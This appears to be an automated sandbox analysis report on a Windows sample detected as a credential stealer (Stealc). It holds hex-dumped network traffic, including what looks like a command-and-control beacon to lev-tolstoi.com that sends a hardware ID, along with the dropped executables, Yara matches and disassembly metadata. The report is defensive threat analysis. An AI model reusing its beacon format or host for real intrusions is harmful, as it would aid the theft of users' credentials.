2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: 29 f0 1a 96 8d 67 03 af d1 44 7d 0d 11 8f 79 8c 73 df 03 b0 0b 0d e2 40 68 36 62 3c f1 6f 28 8f e7 03 1f 53 3a c2 b1 a6 4b b9 90 6b 0c b5 4a 94 ba 4b b0 a8 8e 87 71 cb 27 9b f0 31 7c f9 38 aa fb fa f4 5d d3 e1 c4 20 24 4f a3 39 eb e6 35 99 96 a8 c2 84 20 c4 49 c6 98 27 b3 e8 6c 42 5b 00 69 e3 57 5e 5a 97 e6 2e 42 e3 6f cb d2 4f 43 51 8b 6a af 39 62 9c 7d 4b 71 72 e9 f3 34 44 7c d6 88 65 9e 97 47 de a8 79 0d 0a 87 5b f0 ec 55 6a cc eb e0 76 4b 12 09 84 10 0e 04 3b 2f 49 cc 44 65 be 65 f6 40 45 2f 1a d4 11 a7 fa 33 4e 0b 2c ec 13 57 17 8f f9 89 c4 0d ca ca 0f 45 ad f6 1f f0 7c 87 35 55 20 2a b9 46 c6 47 be e3 1b ae 00 e9 4b b6 69 92 42 2d 45 2f db b7 78 00 3b 98 6f d0 29 36 19 de da 24 4a 25 cf ac 9d 01 6d 87 b0 b5 5c 92 f1 ab b1 11 8f c5 b5 e8 c5 54 90 7e Data Ascii: )gD}ys@h6b<o(S:KkJKq'1\|8] $O95 I'lB[iW^Z.BoOCQj9b}Kqr4D\|eGy[UjvK;/IDee@E/3N,WE\|5U *FGKiB-E/x;o)6$J%m\T~
2024-12-23 06:15:54 UTC	15331	OUT	Data Raw: 8f 49 6f da ff 00 97 4b 81 70 75 d9 df 56 8e 75 e7 b4 08 fe 17 90 14 1f 85 1c 0a fb 79 c8 78 fe a7 bf 66 2c 7c ef 30 81 61 00 e8 7e aa 0c 27 24 59 08 f2 32 fc bc dd 25 26 fc 44 8d 37 e3 1a 06 96 fe 1b 5c 7d 12 83 c6 d6 dd ef 62 38 ea 05 0b 01 97 7d b1 5a a8 b7 84 d2 ae 78 49 a2 11 62 cb e6 cc eb dc cb 39 ad 90 26 92 fa 4a 31 5a c3 87 b0 ac c1 df 6c 40 5a d0 5c 1d a1 48 60 68 80 d8 de 59 52 35 64 28 86 ef de fe ef be f5 e5 a6 95 d9 6d 3c 35 30 6a 42 7f 68 b0 82 63 6f a7 d3 4f 02 e2 fe d8 85 2b c3 f8 8d 25 be b5 0a 06 fc 94 14 4b f0 06 08 d4 bf 7b ce 80 ce 5d f8 fd e1 3f e5 64 1f d7 ad 6a 92 11 64 23 64 f9 28 f2 77 3f 49 3a d6 89 58 00 88 bb 85 47 dc 45 97 f0 3c 25 c3 65 2e 6e c3 df 4a d3 49 21 e6 04 24 db 70 31 34 f4 89 f0 7f 64 14 6b 6f cc 65 09 ab d4 61 Data Ascii: IoKpuVuyxf,\|0a~'$Y2%&D7\}b8}ZxIb9&J1Zl@Z\H`hYR5d(m<50jBhcoO+%K{]?djd#d(w?I:XGE<%e.nJI!$p14dkoea
2024-12-23 06:15:56 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:15:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lc220qfn9jb370ti8n5n5ftdui; expires=Fri, 18 Apr 2025 00:02:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KVQOX68RKOorrbasOJVVPTFRuia3FCg%2BfWkVyWxJHxjwoiAME4afgQ0Rav5V7z6W5%2BRpUb5sa%2FRqPO2dpSyhmh0W1apMsVK96n0Qe6FPjXtWt2wXDmCEByWNPJ3UigHNB4w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66384708d45e6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1802&min_rtt=1648&rtt_var=728&sent=200&recv=591&lost=0&retrans=0&sent_bytes=2835&recv_bytes=571781&delivery_rate=1771844&cwnd=247&unsent_bytes=0&cid=067c1e019fa75e4b&ts=2443&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49733	104.21.66.86	443	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:15:58 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: lev-tolstoi.com
2024-12-23 06:15:58 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 39 39 30 45 42 46 41 30 45 39 39 43 41 36 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=990EBFA0E99CA67BAC8923850305D13E
2024-12-23 06:15:58 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:15:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lko8sk0rjueo3v0v2iudfcbqq4; expires=Fri, 18 Apr 2025 00:02:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D1Eil8xLw8HG4gUZuRiBMURBWwzncp0zrR%2FOVoeXNeQ9ad5HJ3OXpciOd3HXbwG1tIDdsv8MepvSHDabk4tu2yrbagAzSKQabBMu0K0%2FWeapCGGSWIms4r7Wlrpe7Fqy3hQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66385e9e1942b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2099&min_rtt=2089&rtt_var=791&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=981&delivery_rate=1397797&cwnd=237&unsent_bytes=0&cid=c2913aac51dcc768&ts=781&x=0"
2024-12-23 06:15:58 UTC	214	IN	Data Raw: 64 30 0d 0a 58 63 48 6c 65 37 45 65 42 35 4d 51 58 4b 6a 58 6e 4b 6e 43 54 4e 69 4b 53 75 54 2b 64 6a 55 73 51 65 4f 36 4c 38 62 6d 39 73 77 47 75 73 63 4f 6b 79 51 6c 2b 32 51 6f 32 4f 33 41 68 70 35 6a 36 62 4a 2f 79 73 78 48 41 41 4a 77 30 6f 6b 42 39 39 43 71 34 7a 4b 6e 67 79 65 65 65 6d 4c 31 50 6a 6e 51 73 72 36 46 34 43 71 73 71 48 44 55 30 6c 52 51 44 6e 76 54 78 77 4f 39 78 49 50 75 5a 2b 4f 4e 44 38 56 75 50 63 38 2f 41 49 66 6d 70 4a 7a 73 66 75 6d 2f 5a 4e 58 50 52 52 73 64 64 37 2b 56 58 4c 4b 44 6c 36 45 42 37 70 63 61 33 33 70 6f 2f 6a 34 35 30 4c 4b 2b 68 65 41 71 72 4b 68 77 31 4e 4a 55 55 41 35 37 30 38 64 79 0d 0a Data Ascii: d0XcHle7EeB5MQXKjXnKnCTNiKSuT+djUsQeO6L8bm9swGuscOkyQl+2Qo2O3Ahp5j6bJ/ysxHAAJw0okB99Cq4zKngyeeemL1PjnQsr6F4CqsqHDU0lRQDnvTxwO9xIPuZ+OND8VuPc8/AIfmpJzsfum/ZNXPRRsdd7+VXLKDl6EB7pca33po/j450LK+heAqrKhw1NJUUA5708dy
2024-12-23 06:15:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	01:15:29
Start date:	23/12/2024
Path:	C:\Users\user\Desktop\20yLTIU4mS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\20yLTIU4mS.exe"
Imagebase:	0x460000
File size:	1'840'128 bytes
MD5 hash:	BF56486B61F1A99182F133AC8A3937E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2212584099.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2242278053.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2241647492.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2236254752.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2212101743.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2214000519.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2241606236.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:16:04
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe"
Imagebase:	0x310000
File size:	2'845'696 bytes
MD5 hash:	97B29CE33CCFE8A2B642BD236A0DD337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:16:09
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe"
Imagebase:	0xde0000
File size:	2'907'648 bytes
MD5 hash:	225AD75097A8A68691F54CA412436016
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2490759990.0000000000DE1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2449354985.0000000004870000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2489849781.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Function 05561945 Relevance: 2.4, Strings: 1, Instructions: 1183COMMON

Download Yara Rule

Strings

h, xrefs: 05561BE7

Memory Dump Source

Source File: 00000000.00000003.2243365440.0000000005561000.00000004.00000800.00020000.00000000.sdmp, Offset: 0555F000, based on PE: false

Associated: 00000000.00000003.2270246682.000000000555F000.00000004.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5561000_20yLTIU4mS.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: fb81d918801fc7aad7b5248faba85fe470f19a68b3cd640e30ad140f430a0dc0
Instruction ID: 0fd5df9c6450dc5284947505d1d5cdda7f3a5ceae0113bb883658a98fceca8d5
Opcode Fuzzy Hash: fb81d918801fc7aad7b5248faba85fe470f19a68b3cd640e30ad140f430a0dc0
Instruction Fuzzy Hash: 23921F5644E7C01FE7138B748C6A7927FB0AF13214F0E86DFC4C58B5A3E2598A4AD366

Function 05561945 Relevance: 2.4, Strings: 1, Instructions: 1183COMMON

Download Yara Rule

Strings

h, xrefs: 05561BE7

Memory Dump Source

Source File: 00000000.00000003.2243365440.0000000005561000.00000004.00000800.00020000.00000000.sdmp, Offset: 05561000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5561000_20yLTIU4mS.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: 87069710f4cc67e0e34dabaa45c0fd46c85943d63251626c135c1f1fa942d82a
Instruction ID: 0fd5df9c6450dc5284947505d1d5cdda7f3a5ceae0113bb883658a98fceca8d5
Opcode Fuzzy Hash: 87069710f4cc67e0e34dabaa45c0fd46c85943d63251626c135c1f1fa942d82a
Instruction Fuzzy Hash: 23921F5644E7C01FE7138B748C6A7927FB0AF13214F0E86DFC4C58B5A3E2598A4AD366

Function 00DD7883 Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

>, xrefs: 00DD7A37

Memory Dump Source

Source File: 00000000.00000003.2242278053.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, Offset: 00DCE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_db8000_20yLTIU4mS.jbxd

Yara matches

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: 21c4b75eba021a49e435c9124d1d327954449dd167ccee2b269544ea7e2ee203
Instruction ID: 7b0bbeab43dcf498b6bd7565e10715c3e0aac99d47e3d4a899c55cfbb4db5a35
Opcode Fuzzy Hash: 21c4b75eba021a49e435c9124d1d327954449dd167ccee2b269544ea7e2ee203
Instruction Fuzzy Hash: 0E91236244E3D15FC7178B348C7A592BFA06E2321030E86CFD4C58F9A3E398994AD763

Function 00DD78E1 Relevance: 1.5, Strings: 1, Instructions: 230COMMON

Download Yara Rule

Strings

>, xrefs: 00DD7A37

Memory Dump Source

Source File: 00000000.00000003.2242278053.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, Offset: 00DCE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_db8000_20yLTIU4mS.jbxd

Yara matches

Similarity

API ID:
String ID: >
API String ID: 0-325317158
Opcode ID: 4bba1b4a58763a28cb93fa8c91b09eaf7c11c7fd7cb74333019969be79caf8d2
Instruction ID: 1b3087f748b66531f215736efe1fd365987338890d4a0720bc6552247438b77e
Opcode Fuzzy Hash: 4bba1b4a58763a28cb93fa8c91b09eaf7c11c7fd7cb74333019969be79caf8d2
Instruction Fuzzy Hash: 3171356244E7D25FC7138B348C79592BFA06E1321030E86CFD8C58F5A3E3599A5AC763

Function 00DDBD3F Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2242278053.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, Offset: 00DCE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_db8000_20yLTIU4mS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc6be63083a527b7d804b27b72482963c2660f6ef935f95d59b16a33d408c927
Instruction ID: c34ff62c52c605a14fd92ff88ad31baf219638e45352f24779523e4c49a6700b
Opcode Fuzzy Hash: bc6be63083a527b7d804b27b72482963c2660f6ef935f95d59b16a33d408c927
Instruction Fuzzy Hash: AE2125651092D48FC307CF34D4946917FA2FF8B31A39E40DDC8C18F527C2A56542C752

Analysis Process: ARULVP7S24STX85EO46I8EXOL.exePID: 3292, Parent PID: 3552COMMON

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	37.5%
Signature Coverage:	9.4%
Total number of Nodes:	32
Total number of Limit Nodes:	1

Executed Functions

Function 04BC15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04BC18C8

Memory Dump Source

Source File: 00000003.00000002.2542755314.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bc0000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 3844c404e672d69582303414e9a840ca72fbcb79a281e1852e94f90f8bb0de8d
Instruction ID: a37cdcc020b2262bdc1ca22e1178e2a46c6cd4f3a76310f21200db4e98d94b19
Opcode Fuzzy Hash: 3844c404e672d69582303414e9a840ca72fbcb79a281e1852e94f90f8bb0de8d
Instruction Fuzzy Hash: CBC15871D006199FEB10CFA8C8857AEBBB1FF45314F1486A9E858F7285D774A892CF81

Function 004B3D4C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction ID: 4590b6bb1ab15044fe68a1d0fde6904bf0d9bc15d45e4514a87ba139758ba2d7
Opcode Fuzzy Hash: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction Fuzzy Hash: EAE092B29042468FCB41CE3AC8083CAB7A5DB54310F140A6EB14CD7991F7788D51CB98

Function 004AB0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 004AE183
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 004AE1AA
GetNativeSystemInfo.KERNELBASE(?), ref: 004AE201

Memory Dump Source

Source File: 00000003.00000002.2539316181.00000000004A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00310000, based on PE: true

Associated: 00000003.00000002.2539007687.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539034132.0000000000312000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539054234.0000000000316000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539073547.000000000031A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094009.0000000000324000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539112657.0000000000325000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539131019.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539222709.0000000000480000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539243450.0000000000482000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539267227.000000000049B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539291125.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539316181.000000000049F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539371806.00000000004BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539393936.00000000004BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539457941.00000000004BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539484000.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539542282.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539562983.00000000004D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539587128.00000000004DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539646246.00000000004E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539679296.00000000004F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539734920.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539754414.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539776136.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539830194.0000000000509000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539856533.000000000050D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539875628.000000000050E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539922251.0000000000516000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539954210.0000000000517000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540004747.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540025741.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540049374.0000000000527000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540081096.000000000053E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540105046.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540130265.0000000000551000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540161817.0000000000553000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540188842.0000000000572000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540213331.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540276196.00000000005A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540298706.00000000005A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540353167.00000000005A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540378919.00000000005A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540404675.00000000005BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540446564.00000000005C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2540466236.00000000005CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_310000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction ID: 03869622cbba07def801c86ef02402810b41579fc6c482f3d78a65b8e488417f
Opcode Fuzzy Hash: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction Fuzzy Hash: 26314D7240420E9FEF11DFA1C8487EF3BB9FF22314F11452AE95186A41D3BA5DA4CB5A

Function 04BC15C4 Relevance: 1.8, APIs: 1, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04BC18C8

Memory Dump Source

Source File: 00000003.00000002.2542755314.0000000004BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bc0000_ARULVP7S24STX85EO46I8EXOL.jbxd

Similarity

API ID: ChangeConfigService
